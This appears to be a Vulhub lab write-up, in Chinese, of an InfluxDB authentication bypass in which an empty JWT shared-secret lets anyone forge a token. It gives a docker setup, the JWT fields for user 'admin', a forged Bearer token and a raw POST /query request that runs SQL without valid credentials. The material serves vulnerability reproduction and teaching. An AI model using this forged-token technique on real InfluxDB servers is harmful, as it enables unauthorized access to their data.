influxdb未授權訪問漏洞
Path influxdb/unacc
influxdb是一款著名的時序數據庫,其使用jwt作為鑒權方式。在用戶開啟了認證,但未設置參數shared-secret的情況下,jwt的認證密鑰為空字符串,此時攻擊者可以偽造任意用戶身份在influxdb中執行SQL語句。
參考鏈接:
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
漏洞環境
執行如下命令啟動influxdb 1.6.6:
docker-compose up -d
環境啟動后,訪問http://your-ip:8086/debug/vars即可查看一些服務信息,但此時執行SQL語句則會出現401錯誤:

漏洞復現
我們借助https://jwt.io/來生成jwt token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
其中,admin是一個已經存在的用戶,exp是一個時間戳,代表著這個token的過期時間,你需要設置為一個未來的時間戳。
最終生成的token:

發送帶有這個jwt token的數據包,可見SQL語句執行成功:
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users

Vulhub 文檔
推薦文章: